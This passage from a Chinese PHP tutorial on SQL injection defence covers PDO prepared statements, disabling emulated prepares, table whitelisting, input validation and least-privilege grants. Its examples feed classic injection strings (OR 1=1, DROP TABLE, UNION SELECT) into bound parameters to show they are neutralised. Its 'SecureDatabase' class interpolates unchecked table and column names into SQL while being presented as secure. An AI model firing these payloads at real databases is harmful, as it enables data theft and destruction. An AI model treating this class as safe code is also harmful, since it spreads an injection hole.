11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
// 批量插入(安全方式)
function batchInsertUsers($pdo, $users) {
try {
$pdo->beginTransaction();

$stmt = $pdo->prepare("INSERT INTO users (username, email) VALUES (?, ?)");

foreach ($users as $user) {
// 每个用户都是安全的参数绑定
$stmt->execute([$user['username'], $user['email']]);
}

$pdo->commit();
return true;
} catch (Exception $e) {
$pdo->rollBack();
throw $e;
}
}

// 使用
$users = [
['username' => "user1' OR 1=1--", 'email' => 'user1@test.com'],
['username' => "user2' DROP TABLE users--", 'email' => 'user2@test.com'],
];

batchInsertUsers($pdo, $users);
// 安全!所有注入代码都被当作字符串

8. PDO 预编译注意事项

必须禁用模拟预编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
// ❌ 不安全:启用了模拟预编译
$pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_EMULATE_PREPARES => true, // 默认值,模拟预编译
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// 模拟预编译只是客户端转义,真正的预编译在服务端
// 虽然比直接拼接安全,但不如真正的预编译


// ✅ 安全:禁用模拟预编译
$pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_EMULATE_PREPARES => false, // 使用真正的预编译
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

// 真正的预编译在数据库服务端完成,参数与SQL完全分离

为什么必须禁用模拟预编译?

特性模拟预编译 (EMULATE_PREPARES=true)真正预编译 (EMULATE_PREPARES=false)
执行位置PHP 客户端数据库服务端
防注入方式客户端转义参数与SQL语句分离
安全性较好(但存在风险)完全安全
性能每次都要解析SQL一次编译,多次执行
支持复杂查询有限完全支持

⚠️ 不能在预编译中使用表名、列名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
// ❌ 错误:表名/列名不能作为参数
$tableName = "users; DROP TABLE users--"; // 注入尝试
$sql = "SELECT * FROM ?"; // 错误!表名不能用 ?
$stmt = $pdo->prepare($sql);
$stmt->execute([$tableName]); // 报错或未定义行为


// ✅ 正确:使用白名单验证
function getTableData($pdo, $tableName) {
$allowedTables = ['users', 'products', 'orders']; // 白名单

if (!in_array($tableName, $allowedTables)) {
throw new Exception("不允许的表名");
}

$sql = "SELECT * FROM $tableName"; // 已经验证,安全
$stmt = $pdo->prepare($sql);
$stmt->execute();
return $stmt->fetchAll();
}

⚠️ 不能在预编译中使用 LIMIT / OFFSET 的参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
// ❌ 问题:某些 MySQL 版本不支持 LIMIT 占位符
$stmt = $pdo->prepare("SELECT * FROM users LIMIT ?");
$stmt->bindValue(1, 10, PDO::PARAM_INT);
$stmt->execute();
// 可能会报错或异常行为


// ✅ 解决方案1:类型转换(某些情况有效)
$limit = (int)$_GET['limit'];
$sql = "SELECT * FROM users LIMIT $limit";
$stmt = $pdo->prepare($sql);
$stmt->execute();


// ✅ 解决方案2:使用 fetchAll 后截取
function getUsers($pdo, $limit) {
$stmt = $pdo->prepare("SELECT * FROM users");
$stmt->execute();
$results = $stmt->fetchAll();
return array_slice($results, 0, $limit);
}

9. PDO 安全操作完整类示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<?php
class SecureDatabase {
private $pdo;

public function __construct($host, $dbname, $username, $password) {
try {
$this->pdo = new PDO(
"mysql:host=$host;dbname=$dbname;charset=utf8mb4",
$username,
$password,
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false, // 关键配置!
]
);
} catch (PDOException $e) {
die("数据库连接失败: " . $e->getMessage());
}
}

// 插入
public function insert($table, $data) {
$columns = implode(', ', array_keys($data));
$placeholders = implode(', ', array_fill(0, count($data), '?'));

$sql = "INSERT INTO $table ($columns) VALUES ($placeholders)";
$stmt = $this->pdo->prepare($sql);

return $stmt->execute(array_values($data));
}

// 查询单条
public function find($table, $conditions = []) {
if (empty($conditions)) {
$sql = "SELECT * FROM $table";
$stmt = $this->pdo->prepare($sql);
$stmt->execute();
} else {
$where = [];
foreach (array_keys($conditions) as $column) {
$where[] = "$column = ?";
}
$sql = "SELECT * FROM $table WHERE " . implode(' AND ', $where);
$stmt = $this->pdo->prepare($sql);
$stmt->execute(array_values($conditions));
}

return $stmt->fetch();
}

// 更新
public function update($table, $data, $conditions) {
$set = [];
foreach (array_keys($data) as $column) {
$set[] = "$column = ?";
}

$where = [];
foreach (array_keys($conditions) as $column) {
$where[] = "$column = ?";
}

$sql = "UPDATE $table SET " . implode(', ', $set)
. " WHERE " . implode(' AND ', $where);

$stmt = $this->pdo->prepare($sql);
return $stmt->execute(array_merge(array_values($data), array_values($conditions)));
}

// 删除
public function delete($table, $conditions) {
$where = [];
foreach (array_keys($conditions) as $column) {
$where[] = "$column = ?";
}

$sql = "DELETE FROM $table WHERE " . implode(' AND ', $where);
$stmt = $this->pdo->prepare($sql);

return $stmt->execute(array_values($conditions));
}
}

// 使用示例
$db = new SecureDatabase('localhost', 'mydb', 'user', 'pass');

// 安全的插入 - 即使数据包含注入代码也安全
$db->insert('users', [
'username' => "admin' OR 1=1--",
'email' => "test@test.com'; DROP TABLE users--",
'age' => "25 UNION SELECT * FROM admin--"
]);

// 安全的查询
$user = $db->find('users', [
'username' => "admin' OR '1'='1",
'password' => "anything"
]);

// 安全的更新
$db->update('users',
['email' => "new@test.com', email='hacker@evil.com'--"],
['id' => 1]
);

// 安全的删除
$db->delete('users', ['id' => "1 OR 1=1"]);

其他防御措施

1. 输入验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// 白名单验证
function validateUsername($username) {
// 只允许字母、数字、下划线
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
throw new Exception("用户名格式不正确");
}
return $username;
}

// 类型验证
function validateId($id) {
if (!is_numeric($id) || $id < 1) {
throw new Exception("ID格式不正确");
}
return (int)$id;
}

// 长度验证
function validateEmail($email) {
if (strlen($email) > 100) {
throw new Exception("邮箱长度过长");
}
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
throw new Exception("邮箱格式不正确");
}
return $email;
}

2. 最小权限原则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-- 应用用户只授予必要的权限

-- ❌ 错误:授予过多权限
GRANT ALL PRIVILEGES ON *.* TO 'app_user'@'%';

-- ✅ 正确:只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON mydb.users TO 'app_user'@'%';

-- 对于只读操作
GRANT SELECT ON mydb.* TO 'readonly_user'@'%';

-- 避免使用 FILE 权限(可以读写文件)
-- 避免使用 SUPER 权限
-- 避免使用 RELOAD 权限

总结:SQL 注入防御最佳实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─────────────────────────────────────────────────────────────┐
│ SQL 注入防御金字塔 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1️⃣ 使用 PDO 预编译 (最重要) │
│ └─ 禁用模拟预编译: │
│ PDO::ATTR_EMULATE_PREPARES => false │
│ │
│ 2️⃣ 输入验证 │
│ └─ 白名单验证 │
│ └─ 类型、格式、长度检查 │
│ │
│ 3️⃣ 最小权限原则 │
│ └─ 数据库账户只授予必要权限 │
│ │
│ 4️⃣ 其他措施 │
│ └─ WAF 防火墙 │
│ └─ ORM 框架 │
│ └─ 代码审计 │
│ │
└─────────────────────────────────────────────────────────────┘

记住:PDO 预编译 + 禁用模拟预编译 = 防御 SQL 注入!